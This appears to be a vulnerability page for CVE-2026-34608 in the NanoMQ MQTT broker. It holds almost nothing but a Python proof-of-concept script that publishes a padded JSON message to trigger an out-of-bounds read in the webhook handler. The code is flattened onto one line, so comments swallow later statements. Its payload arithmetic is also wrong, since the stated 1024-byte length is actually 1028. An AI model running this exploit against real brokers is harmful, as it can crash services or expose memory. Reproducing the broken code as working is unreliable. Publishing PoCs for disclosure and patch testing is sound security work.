CVE-2026-34608 NanoMQ越界读取漏洞

import paho.mqtt.client as mqtt import json import time # NanoMQ OOB Read PoC (CVE-2026-34608) # This script sends a JSON payload with a length of 1024 bytes (power of 2) # to trigger the out-of-bounds read in webhook_inproc.c. TARGET_BROKER = "127.0.0.1" TARGET_PORT = 1883 TARGET_TOPIC = "test/webhook" # Ensure a webhook rule is configured for this topic # Construct a JSON payload that is exactly 1024 bytes long. # cJSON_Parse expects a string, but the underlying buffer lacks null termination # when size is power of 2 >= 1024. data = "A" * 1016 payload = '{"data": "' + data + '"}' # Verify length is 1024 (Power of 2) assert len(payload) == 1024, f"Payload must be 1024 bytes, current: {len(payload)}" def on_connect(client, userdata, flags, rc): print(f"Connected with result code {rc}") # Send the malicious payload client.publish(TARGET_TOPIC, payload) print(f"Payload sent to {TARGET_TOPIC}") def on_publish(client, userdata, mid): print(f"Message {mid} published.") client.disconnect() client = mqtt.Client() client.on_connect = on_connect client.on_publish = on_publish try: client.connect(TARGET_BROKER, TARGET_PORT, 60) client.loop_forever() except Exception as e: print(f"Error: {e}")